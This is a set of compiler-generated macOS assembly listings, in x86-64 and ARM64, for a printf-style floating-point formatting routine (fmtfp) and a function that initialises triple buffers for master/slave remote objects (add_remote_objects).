## @G_FORMAT .comm _F_FORMAT,4,2 ## @F_FORMAT .comm _E_FORMAT,4,2 ## @E_FORMAT .comm _ULONG_MAX,8,3 ## @ULONG_MAX .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "0123456789" .comm _DP_F_MINUS,4,2 ## @DP_F_MINUS .comm _DP_F_ZERO,4,2 ## @DP_F_ZERO .comm _DP_F_NUM,4,2 ## @DP_F_NUM .comm _DP_F_UP,4,2 ## @DP_F_UP .no_dead_strip _fmtfp .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function fmtfp _fmtfp: ; @fmtfp .cfi_startproc ; %bb.0: sub sp, sp, #208 stp d9, d8, [sp, #96] ; 16-byte Folded Spill stp x28, x27, [sp, #112] ; 16-byte Folded Spill stp x26, x25, [sp, #128] ; 16-byte Folded Spill stp x24, x23, [sp, #144] ; 16-byte Folded Spill stp x22, x21, [sp, #160] ; 16-byte Folded Spill stp x20, x19, [sp, #176] ; 16-byte Folded Spill stp x29, x30, [sp, #192] ; 16-byte Folded Spill add x29, sp, #192 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 .cfi_offset b8, -104 .cfi_offset b9, -112 mov x27, x7 mov x24, x6 str w4, [sp, #20] ; 4-byte Folded Spill mov x19, x3 mov x20, x2 mov x21, x1 mov x22, x0 fcmp d0, #0.0 cset w8, mi Lloh0: adrp x9, _DP_F_PLUS@GOTPAGE Lloh1: ldr x9, [x9, _DP_F_PLUS@GOTPAGEOFF] Lloh2: ldr w9, [x9] orr w9, w9, w6 mov w10, #43 ; =0x2b cmp w9, #0 csel w9, w10, wzr, ne csinc w10, w8, wzr, eq fcmp d0, #0.0 Lloh3: adrp x8, ___stack_chk_guard@GOTPAGE Lloh4: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh5: ldr x8, [x8] str x8, [sp, #88] mov w8, #45 ; =0x2d csel w26, w8, w9, mi mov w8, #6 ; =0x6 Lloh6: adrp x9, _G_FORMAT@GOTPAGE Lloh7: ldr x9, [x9, _G_FORMAT@GOTPAGEOFF] cmp w5, #0 csel w28, w8, w5, lt ldr w8, [x9] Lloh8: adrp x23, _F_FORMAT@GOTPAGE Lloh9: ldr x23, [x23, _F_FORMAT@GOTPAGEOFF] mov x25, x7 cmp w8, w7 b.ne LBB0_9 ; %bb.1: fcmp d0, #0.0 b.ne LBB0_3 LBB0_2: ldr w25, [x23] b LBB0_9 LBB0_3: mov x8, #17197 ; =0x432d movk x8, #60188, lsl #16 movk x8, #14050, lsl #32 movk x8, #16154, lsl #48 fmov d1, x8 fcmp d0, d1 b.mi LBB0_8 ; %bb.4: fmov d1, #10.00000000 fcmp d0, d1 b.lt LBB0_6 ; %bb.5: cbz w28, LBB0_8 LBB0_6: cbz w28, LBB0_2 ; %bb.7: mov x0, x28 fmov d8, d0 mov x25, x10 bl _pow_10 Lloh10: adrp x9, _G_FORMAT@GOTPAGE Lloh11: ldr x9, [x9, _G_FORMAT@GOTPAGEOFF] mov x10, x25 fmov d1, d0 fmov d0, d8 fcmp d1, d8 b.hi LBB0_2 LBB0_8: Lloh12: adrp x8, _E_FORMAT@GOTPAGE Lloh13: ldr x8, [x8, _E_FORMAT@GOTPAGEOFF] Lloh14: ldr w25, [x8] LBB0_9: ldr w8, [x23] cmp w8, w27 str w10, [sp, #24] ; 4-byte Folded Spill b.ne LBB0_11 ; %bb.10: mov x23, #0 ; =0x0 b LBB0_24 LBB0_11: fcmp d0, #0.0 b.eq LBB0_15 ; %bb.12: fmov d2, #1.00000000 mov x23, #0 ; =0x0 fcmp d0, d2 b.pl LBB0_16 ; %bb.13: fmov d3, #10.00000000 fmov d1, d0 LBB0_14: ; =>This Inner Loop Header: Depth=1 fmul d1, d1, d3 add x23, x23, #1 fcmp d1, d2 b.mi LBB0_14 b LBB0_17 LBB0_15: mov x23, #0 ; =0x0 fmov d1, d0 b LBB0_19 LBB0_16: fmov d1, d0 LBB0_17: fmov d2, #10.00000000 fcmp d1, d2 b.le LBB0_19 LBB0_18: ; =>This Inner Loop Header: Depth=1 fdiv d1, d1, d2 add x23, x23, #1 fcmp d1, d2 b.gt LBB0_18 LBB0_19: ldr w9, [x9] cmp w9, w27 b.ne LBB0_23 ; %bb.20: cmp w28, #1 csinc w9, w28, wzr, hi cmp w25, w8 b.ne LBB0_22 ; %bb.21: mvn w8, w23 adds w28, w9, w8 b.pl LBB0_23 b LBB0_25 LBB0_22: sub w28, w9, #1 LBB0_23: Lloh15: adrp x8, _E_FORMAT@GOTPAGE Lloh16: ldr x8, [x8, _E_FORMAT@GOTPAGEOFF] Lloh17: ldr w8, [x8] cmp w25, w8 fcsel d0, d1, d0, eq LBB0_24: bl _abs_val Lloh18: adrp x8, _ULONG_MAX@GOTPAGE Lloh19: ldr x8, [x8, _ULONG_MAX@GOTPAGEOFF] Lloh20: ldr d1, [x8] fcmp d0, d1 b.le LBB0_28 LBB0_25: mov w0, #0 ; =0x0 LBB0_26: ldr x8, [sp, #88] Lloh21: adrp x9, ___stack_chk_guard@GOTPAGE Lloh22: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh23: ldr x9, [x9] cmp x9, x8 b.ne LBB0_101 ; %bb.27: ldp x29, x30, [sp, #192] ; 16-byte Folded Reload ldp x20, x19, [sp, #176] ; 16-byte Folded Reload ldp x22, x21, [sp, #160] ; 16-byte Folded Reload ldp x24, x23, [sp, #144] ; 16-byte Folded Reload ldp x26, x25, [sp, #128] ; 16-byte Folded Reload ldp x28, x27, [sp, #112] ; 16-byte Folded Reload ldp d9, d8, [sp, #96] ; 16-byte Folded Reload add sp, sp, #208 ret LBB0_28: stp w26, w25, [sp, #8] ; 8-byte Folded Spill str w24, [sp, #16] ; 4-byte Folded Spill fcvtzu x25, d0 mov w8, #9 ; =0x9 cmp w28, #9 csel w26, w28, w8, lt mov x0, x26 fmov d8, d0 bl _pow_10 bl _roundv mov x24, x0 mov x0, x26 bl _pow_10 fcvtzu d1, d8 ucvtf d1, d1 fsub d1, d8, d1 fmul d0, d1, d0 bl _roundv mov x10, #0 ; =0x0 cmp x0, x24 csel x9, x24, xzr, hs cinc x11, x25, hs mov x12, #-3689348814741910324 ; =0xcccccccccccccccc movk x12, #52429 mov w13, #10 ; =0xa Lloh24: adrp x8, l_.str@PAGE Lloh25: add x8, x8, l_.str@PAGEOFF add x14, sp, #68 LBB0_29: ; =>This Inner Loop Header: Depth=1 umulh x15, x11, x12 lsr x16, x15, #3 msub x15, x16, x13, x11 ldrb w17, [x8, x15] add x15, x10, #1 strb w17, [x14, x10] cmp x10, #18 b.hi LBB0_31 ; %bb.30: ; in Loop: Header=BB0_29 Depth=1 mov x10, x15 cmp x11, #9 mov x11, x16 b.hi LBB0_29 LBB0_31: sub x10, x15, #1 cmp x15, #20 csel x24, x10, x15, eq add x10, sp, #68 strb wzr, [x10, x24] cmp w28, #1 ldp w2, w1, [sp, #12] ; 8-byte Folded Reload b.lt LBB0_36 ; %bb.32: sub x9, x0, x9 mov w11, #9 ; =0x9 Lloh26: adrp x10, _G_FORMAT@GOTPAGE Lloh27: ldr x10, [x10, _G_FORMAT@GOTPAGEOFF] Lloh28: ldr w10, [x10] cmp w28, #9 csel w26, w28, w11, lo mov x11, #-3689348814741910324 ; =0xcccccccccccccccc movk x11, #52429 mov w12, #10 ; =0xa LBB0_33: ; =>This Inner Loop Header: Depth=1 umulh x13, x9, x11 lsr x13, x13, #3 msub x14, x13, x12, x9 cmp w10, w27 b.ne LBB0_44 ; %bb.34: ; in Loop: Header=BB0_33 Depth=1 cbnz x14, LBB0_44 ; %bb.35: ; in Loop: Header=BB0_33 Depth=1 mov x9, x13 subs x26, x26, #1 b.gt LBB0_33 LBB0_36: mov w25, #0 ; =0x0 LBB0_37: mov w27, #0 ; =0x0 add x9, sp, #48 strb wzr, [x9, w25, uxtw] Lloh29: adrp x9, _E_FORMAT@GOTPAGE Lloh30: ldr x9, [x9, _E_FORMAT@GOTPAGEOFF] Lloh31: ldr w9, [x9] cmp w2, w9 b.ne LBB0_49 ; %bb.38: mov x27, #0 ; =0x0 mov w11, #26215 ; =0x6667 movk w11, #26214, lsl #16 mov w12, #10 ; =0xa add x13, sp, #28 mov w14, #52429 ; =0xcccd movk w14, #52428, lsl #16 ; kill: def $w23 killed $w23 killed $x23 def $x23 LBB0_39: ; =>This Inner Loop Header: Depth=1 mov x10, x23 mov x15, x27 smull x16, w23, w11 lsr x17, x16, #63 asr x16, x16, #34 add w16, w16, w17 msub w16, w16, w12, w23 ldrb w16, [x8, w16, sxtw] strb w16, [x13, x27] add x27, x27, #1 cmp x15, #18 b.hi LBB0_41 ; %bb.40: ; in Loop: Header=BB0_39 Depth=1 umull x15, w10, w14 lsr x23, x15, #35 cmp w10, #9 b.gt LBB0_39 LBB0_41: cmp x27, #1 b.ne LBB0_48 ; %bb.42: cmp w10, #9 b.gt LBB0_48 ; %bb.43: mov w8, #48 ; =0x30 strb w8, [sp, #29] mov w27, #2 ; =0x2 b LBB0_49 LBB0_44: ldrb w10, [x8, x14] strb w10, [sp, #48] cmp x26, #1 b.ls LBB0_74 ; %bb.45: mov x10, #-7378697629483820647 ; =0x9999999999999999 eor x10, x10, #0x8000000000000003 umulh x11, x13, x10 mov w12, #10 ; =0xa msub x11, x11, x12, x13 ldrb w11, [x8, x11] strb w11, [sp, #49] cmp x26, #3 b.lt LBB0_85 ; %bb.46: lsr x11, x9, #2 mov x12, #62915 ; =0xf5c3 movk x12, #23592, lsl #16 movk x12, #49807, lsl #32 movk x12, #10485, lsl #48 umulh x11, x11, x12 lsr x11, x11, #2 umulh x10, x11, x10 mov w12, #10 ; =0xa msub x10, x10, x12, x11 ldrb w10, [x8, x10] strb w10, [sp, #50] cmp x26, #3 b.ne LBB0_86 ; %bb.47: mov w25, #3 ; =0x3 b LBB0_37 LBB0_48: cmp w10, #9 b.gt LBB0_25 LBB0_49: cmp w26, #0 cset w8, gt mov w10, #-2 ; =0xfffffffe sub w10, w10, w27 cmp w2, w9 csel w9, w10, wzr, eq ldp w10, w12, [sp, #20] ; 8-byte Folded Reload sub w10, w10, w12 add w11, w26, w24 sub w10, w10, w11 sub w8, w10, w8 add w8, w8, w9 bic w8, w8, w8, asr #31 Lloh32: adrp x9, _DP_F_MINUS@GOTPAGE Lloh33: ldr x9, [x9, _DP_F_MINUS@GOTPAGEOFF] Lloh34: ldr w9, [x9] tst w9, w1 cneg w23, w8, ne Lloh35: adrp x8, _DP_F_ZERO@GOTPAGE Lloh36: ldr x8, [x8, _DP_F_ZERO@GOTPAGEOFF] Lloh37: ldr w8, [x8] tst w8, w1 b.eq LBB0_58 ; %bb.50: cmp w23, #1 b.lt LBB0_58 ; %bb.51: cbz w12, LBB0_54 ; %bb.52: mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 ldr w4, [sp, #8] ; 4-byte Folded Reload bl _doapr_outch cbz w0, LBB0_26 ; %bb.53: subs w23, w23, #1 b.eq LBB0_65 LBB0_54: add w23, w23, #1 LBB0_55: ; =>This Inner Loop Header: Depth=1 mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 mov w4, #48 ; =0x30 bl _doapr_outch cbz w0, LBB0_26 ; %bb.56: ; in Loop: Header=BB0_55 Depth=1 sub w23, w23, #1 cmp w23, #2 b.ge LBB0_55 ; %bb.57: mov w23, #0 ; =0x0 b LBB0_65 LBB0_58: cmp w23, #1 b.lt LBB0_63 ; %bb.59: add w23, w23, #1 LBB0_60: ; =>This Inner Loop Header: Depth=1 mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 mov w4, #32 ; =0x20 bl _doapr_outch cbz w0, LBB0_26 ; %bb.61: ; in Loop: Header=BB0_60 Depth=1 sub w23, w23, #1 cmp w23, #1 b.gt LBB0_60 ; %bb.62: mov w23, #0 ; =0x0 LBB0_63: ldr w4, [sp, #8] ; 4-byte Folded Reload cbz w4, LBB0_65 ; %bb.64: mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 bl _doapr_outch cbz w0, LBB0_26 LBB0_65: str w25, [sp, #24] ; 4-byte Folded Spill sub w25, w26, w25 bic w8, w25, w25, asr #31 str w8, [sp, #20] ; 4-byte Folded Spill add x8, sp, #68 add x8, x24, x8 sub x28, x8, #1 LBB0_66: ; =>This Inner Loop Header: Depth=1 subs w24, w24, #1 b.lt LBB0_68 ; %bb.67: ; in Loop: Header=BB0_66 Depth=1 ldrsb w4, [x28], #-1 mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 bl _doapr_outch cbnz w0, LBB0_66 b LBB0_26 LBB0_68: cmp w26, #0 b.gt LBB0_70 ; %bb.69: Lloh38: adrp x8, _DP_F_NUM@GOTPAGE Lloh39: ldr x8, [x8, _DP_F_NUM@GOTPAGEOFF] Lloh40: ldr w8, [x8] ldr w9, [sp, #16] ; 4-byte Folded Reload tst w8, w9 b.eq LBB0_75 LBB0_70: mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 mov w4, #46 ; =0x2e bl _doapr_outch cbz w0, LBB0_26 ; %bb.71: ldr w8, [sp, #24] ; 4-byte Folded Reload mov w9, w8 add x8, sp, #48 sub x24, x8, #1 LBB0_72: ; =>This Inner Loop Header: Depth=1 cmp w9, #1 b.lt LBB0_75 ; %bb.73: ; in Loop: Header=BB0_72 Depth=1 sub x26, x9, #1 ldrsb w4, [x24, x9] mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 bl _doapr_outch mov x8, x0 mov w0, #0 ; =0x0 mov x9, x26 cbnz w8, LBB0_72 b LBB0_26 LBB0_74: mov w26, #1 ; =0x1 mov w25, #1 ; =0x1 b LBB0_37 LBB0_75: cmp w25, #1 ldr w25, [sp, #12] ; 4-byte Folded Reload b.lt LBB0_79 ; %bb.76: ldr w8, [sp, #20] ; 4-byte Folded Reload add w24, w8, #1 LBB0_77: ; =>This Inner Loop Header: Depth=1 mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 mov w4, #48 ; =0x30 bl _doapr_outch cbz w0, LBB0_26 ; %bb.78: ; in Loop: Header=BB0_77 Depth=1 sub w24, w24, #1 cmp w24, #2 b.ge LBB0_77 LBB0_79: Lloh41: adrp x8, _E_FORMAT@GOTPAGE Lloh42: ldr x8, [x8, _E_FORMAT@GOTPAGEOFF] Lloh43: ldr w8, [x8] cmp w25, w8 b.ne LBB0_89 ; %bb.80: Lloh44: adrp x8, _DP_F_UP@GOTPAGE Lloh45: ldr x8, [x8, _DP_F_UP@GOTPAGEOFF] Lloh46: ldr w8, [x8] ldr w9, [sp, #16] ; 4-byte Folded Reload tst w8, w9 mov w8, #69 ; =0x45 mov w9, #101 ; =0x65 csel w4, w9, w8, eq mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 bl _doapr_outch cbz w0, LBB0_26 ; %bb.81: mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 mov w4, #43 ; =0x2b bl _doapr_outch cbz w0, LBB0_26 ; %bb.82: mov w9, w27 add x8, sp, #28 sub x24, x8, #1 LBB0_83: ; =>This Inner Loop Header: Depth=1 subs x25, x9, #1 b.lt LBB0_89 ; %bb.84: ; in Loop: Header=BB0_83 Depth=1 ldrsb w4, [x24, x9] mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 bl _doapr_outch mov x8, x0 mov w0, #0 ; =0x0 mov x9, x25 cbnz w8, LBB0_83 b LBB0_26 LBB0_85: mov w25, #2 ; =0x2 b LBB0_37 LBB0_86: lsr x10, x9, #3 mov x11, #63439 ; =0xf7cf movk x11, #58195, lsl #16 movk x11, #39845, lsl #32 movk x11, #8388, lsl #48 umulh x10, x10, x11 lsr x11, x10, #4 mov x10, #-7378697629483820647 ; =0x9999999999999999 eor x10, x10, #0x8000000000000003 umulh x12, x11, x10 mov w13, #10 ; =0xa msub x11, x12, x13, x11 ldrb w11, [x8, x11] strb w11, [sp, #51] cmp x26, #5 b.lt LBB0_93 ; %bb.87: mov x11, #22859 ; =0x594b movk x11, #14470, lsl #16 movk x11, #50646, lsl #32 movk x11, #13421, lsl #48 umulh x11, x9, x11 lsr x11, x11, #11 umulh x10, x11, x10 mov w12, #10 ; =0xa msub x10, x10, x12, x11 ldrb w10, [x8, x10] strb w10, [sp, #52] cmp x26, #5 b.ne LBB0_94 ; %bb.88: mov w25, #5 ; =0x5 b LBB0_37 LBB0_89: tbnz w23, #31, LBB0_92 ; %bb.90: mov w0, #1 ; =0x1 b LBB0_26 LBB0_91: ; in Loop: Header=BB0_92 Depth=1 mov w0, #1 ; =0x1 adds w23, w23, #1 b.hs LBB0_26 LBB0_92: ; =>This Inner Loop Header: Depth=1 mov x0, x22 mov x1, x21 mov x2, x20 mov x3, x19 mov w4, #32 ; =0x20 bl _doapr_outch cbnz w0, LBB0_91 b LBB0_26 LBB0_93: mov w25, #4 ; =0x4 b LBB0_37 LBB0_94: lsr x10, x9, #5 mov x11, #30787 ; =0x7843 movk x11, #29108, lsl #16 movk x11, #23236, lsl #32 movk x11, #2684, lsl #48 umulh x10, x10, x11 lsr x11, x10, #7 mov x10, #-7378697629483820647 ; =0x9999999999999999 eor x10, x10, #0x8000000000000003 umulh x12, x11, x10 mov w13, #10 ; =0xa msub x11, x12, x13, x11 ldrb w11, [x8, x11] strb w11, [sp, #53] cmp x26, #7 b.lt LBB0_97 ; %bb.95: mov x11, #13531 ; =0x34db movk x11, #55222, lsl #16 movk x11, #56962, lsl #32 movk x11, #17179, lsl #48 umulh x11, x9, x11 lsr x11, x11, #18 umulh x10, x11, x10 mov w12, #10 ; =0xa msub x10, x10, x12, x11 ldrb w10, [x8, x10] strb w10, [sp, #54] cmp x26, #7 b.ne LBB0_98 ; %bb.96: mov w25, #7 ; =0x7 b LBB0_37 LBB0_97: mov w25, #6 ; =0x6 b LBB0_37 LBB0_98: mov x10, #17085 ; =0x42bd movk x10, #58746, lsl #16 movk x10, #38101, lsl #32 movk x10, #54975, lsl #48 umulh x10, x9, x10 lsr x11, x10, #23 mov x10, #-7378697629483820647 ; =0x9999999999999999 eor x10, x10, #0x8000000000000003 umulh x12, x11, x10 mov w13, #10 ; =0xa msub x11, x12, x13, x11 ldrb w11, [x8, x11] strb w11, [sp, #55] cmp x26, #9 b.lt LBB0_100 ; %bb.99: mov x11, #52989 ; =0xcefd movk x11, #33889, lsl #16 movk x11, #30481, lsl #32 movk x11, #43980, lsl #48 umulh x9, x9, x11 lsr x9, x9, #26 umulh x10, x9, x10 mov w11, #10 ; =0xa msub x9, x10, x11, x9 ldrb w9, [x8, x9] strb w9, [sp, #56] mov w25, #9 ; =0x9 b LBB0_37 LBB0_100: mov w25, #8 ; =0x8 b LBB0_37 LBB0_101: bl ___stack_chk_fail .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .loh AdrpAdd Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28 .loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31 .loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37 .loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34 .loh AdrpLdrGotLdr Lloh38, Lloh39, Lloh40 .loh AdrpLdrGotLdr Lloh41, Lloh42, Lloh43 .loh AdrpLdrGotLdr Lloh44, Lloh45, Lloh46 .cfi_endproc ; -- End function .comm _DP_F_PLUS,4,2 ; @DP_F_PLUS .comm _DP_F_SPACE,4,2 ; @DP_F_SPACE .comm _G_FORMAT,4,2 ; @G_FORMAT .comm _F_FORMAT,4,2 ; @F_FORMAT .comm _E_FORMAT,4,2 ; @E_FORMAT .comm _ULONG_MAX,8,3 ; @ULONG_MAX .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "0123456789" .comm _DP_F_MINUS,4,2 ; @DP_F_MINUS .comm _DP_F_ZERO,4,2 ; @DP_F_ZERO .comm _DP_F_NUM,4,2 ; @DP_F_NUM .comm _DP_F_UP,4,2 ; @DP_F_UP .no_dead_strip _fmtfp .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _add_remote_objects ## -- Begin function add_remote_objects .p2align 4, 0x90 _add_remote_objects: ## @add_remote_objects .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, -44(%rbp) ## 4-byte Spill movq %rdi, -56(%rbp) ## 8-byte Spill xorl %r12d, %r12d movq _NUM_SLAVES@GOTPCREL(%rip), %r13 jmp LBB0_1 .p2align 4, 0x90 LBB0_2: ## in Loop: Header=BB0_1 Depth=1 movq 16(%rbx), %rdi callq _triple_buffer_init movq 16(%rbx), %r14 movl 8(%rbx), %edi callq _LOCAL_OBJECT_SIZE cltq leaq (%r14,%rax,4), %r15 LBB0_7: ## in Loop: Header=BB0_1 Depth=1 movq %r15, %rdi callq _triple_buffer_init LBB0_11: ## in Loop: Header=BB0_1 Depth=1 incl %r12d cmpl -44(%rbp), %r12d ## 4-byte Folded Reload ja LBB0_12 LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_10 Depth 2 ## Child Loop BB0_6 Depth 2 movl %r12d, %eax movq -56(%rbp), %rcx ## 8-byte Reload movq (%rcx,%rax,8), %rbx movq _remote_objects@GOTPCREL(%rip), %rax movq (%rax), %rax movq _num_remote_objects@GOTPCREL(%rip), %rsi movslq (%rsi), %rcx leal 1(%rcx), %edx movl %edx, (%rsi) movq %rbx, (%rax,%rcx,8) movq (%rbx), %rax movq _MASTER_TO_ALL_SLAVES@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_2 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq 16(%rbx), %r15 movq _MASTER_TO_SINGLE_SLAVE@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_8 ## %bb.4: ## in Loop: Header=BB0_1 Depth=1 cmpl $0, (%r13) je LBB0_7 ## %bb.5: ## in Loop: Header=BB0_1 Depth=1 xorl %r14d, %r14d .p2align 4, 0x90 LBB0_6: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 movq %r15, %rdi callq _triple_buffer_init movl 8(%rbx), %edi callq _LOCAL_OBJECT_SIZE cltq leaq (%r15,%rax,4), %r15 incl %r14d cmpl (%r13), %r14d jb LBB0_6 jmp LBB0_7 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_1 Depth=1 movq %r15, %rdi callq _triple_buffer_init movl 8(%rbx), %edi callq _LOCAL_OBJECT_SIZE cmpl $0, (%r13) je LBB0_11 ## %bb.9: ## in Loop: Header=BB0_1 Depth=1 cltq leaq (%r15,%rax,4), %r15 xorl %r14d, %r14d .p2align 4, 0x90 LBB0_10: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 movq %r15, %rdi callq _triple_buffer_init movl 8(%rbx), %edi callq _REMOTE_OBJECT_SIZE cltq leaq (%r15,%rax,4), %r15 incl %r14d cmpl (%r13), %r14d jb LBB0_10 jmp LBB0_11 LBB0_12: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _remote_objects,8,3 ## @remote_objects .comm _num_remote_objects,4,2 ## @num_remote_objects .comm _MASTER_TO_ALL_SLAVES,8,3 ## @MASTER_TO_ALL_SLAVES .comm _MASTER_TO_SINGLE_SLAVE,8,3 ## @MASTER_TO_SINGLE_SLAVE .comm _NUM_SLAVES,4,2 ## @NUM_SLAVES .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _add_remote_objects ; -- Begin function add_remote_objects .p2align 2 _add_remote_objects: ; @add_remote_objects .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x1 mov x20, x0 mov w22, #0 ; =0x0 Lloh0: adrp x23, _remote_objects@GOTPAGE Lloh1: ldr x23, [x23, _remote_objects@GOTPAGEOFF] Lloh2: adrp x24, _num_remote_objects@GOTPAGE Lloh3: ldr x24, [x24, _num_remote_objects@GOTPAGEOFF] Lloh4: adrp x25, _MASTER_TO_ALL_SLAVES@GOTPAGE Lloh5: ldr x25, [x25, _MASTER_TO_ALL_SLAVES@GOTPAGEOFF] Lloh6: adrp x27, _NUM_SLAVES@GOTPAGE Lloh7: ldr x27, [x27, _NUM_SLAVES@GOTPAGEOFF] b LBB0_4 LBB0_1: ; in Loop: Header=BB0_4 Depth=1 ldr x0, [x28, #16] bl _triple_buffer_init ldr x21, [x28, #16] ldr w0, [x28, #8] bl _LOCAL_OBJECT_SIZE add x21, x21, w0, sxtw #2 LBB0_2: ; in Loop: Header=BB0_4 Depth=1 mov x0, x21 bl _triple_buffer_init LBB0_3: ; in Loop: Header=BB0_4 Depth=1 add w22, w22, #1 cmp w22, w19 b.hi LBB0_12 LBB0_4: ; =>This Loop Header: Depth=1 ; Child Loop BB0_11 Depth 2 ; Child Loop BB0_8 Depth 2 ldr x28, [x20, w22, uxtw #3] ldr x8, [x23] ldrsw x9, [x24] add w10, w9, #1 str w10, [x24] str x28, [x8, x9, lsl #3] ldr x8, [x28] ldr x9, [x25] cmp x8, x9 b.eq LBB0_1 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 Lloh8: adrp x9, _MASTER_TO_SINGLE_SLAVE@GOTPAGE Lloh9: ldr x9, [x9, _MASTER_TO_SINGLE_SLAVE@GOTPAGEOFF] Lloh10: ldr x9, [x9] ldr x21, [x28, #16] cmp x8, x9 b.ne LBB0_9 ; %bb.6: ; in Loop: Header=BB0_4 Depth=1 ldr w8, [x27] cbz w8, LBB0_2 ; %bb.7: ; in Loop: Header=BB0_4 Depth=1 mov w26, #0 ; =0x0 LBB0_8: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 mov x0, x21 bl _triple_buffer_init ldr w0, [x28, #8] bl _LOCAL_OBJECT_SIZE add x21, x21, w0, sxtw #2 add w26, w26, #1 ldr w8, [x27] cmp w26, w8 b.lo LBB0_8 b LBB0_2 LBB0_9: ; in Loop: Header=BB0_4 Depth=1 mov x0, x21 bl _triple_buffer_init ldr w0, [x28, #8] bl _LOCAL_OBJECT_SIZE ldr w8, [x27] cbz w8, LBB0_3 ; %bb.10: ; in Loop: Header=BB0_4 Depth=1 mov w26, #0 ; =0x0 add x21, x21, w0, sxtw #2 LBB0_11: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 mov x0, x21 bl _triple_buffer_init ldr w0, [x28, #8] bl _REMOTE_OBJECT_SIZE add x21, x21, w0, sxtw #2 add w26, w26, #1 ldr w8, [x27] cmp w26, w8 b.lo LBB0_11 b LBB0_3 LBB0_12: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .cfi_endproc ; -- End function .comm _remote_objects,8,3 ; @remote_objects .comm _num_remote_objects,4,2 ; @num_remote_objects .comm _MASTER_TO_ALL_SLAVES,8,3 ; @MASTER_TO_ALL_SLAVES .comm _MASTER_TO_SINGLE_SLAVE,8,3 ; @MASTER_TO_SINGLE_SLAVE .comm _NUM_SLAVES,4,2 ; @NUM_SLAVES .subsections_via_symbols
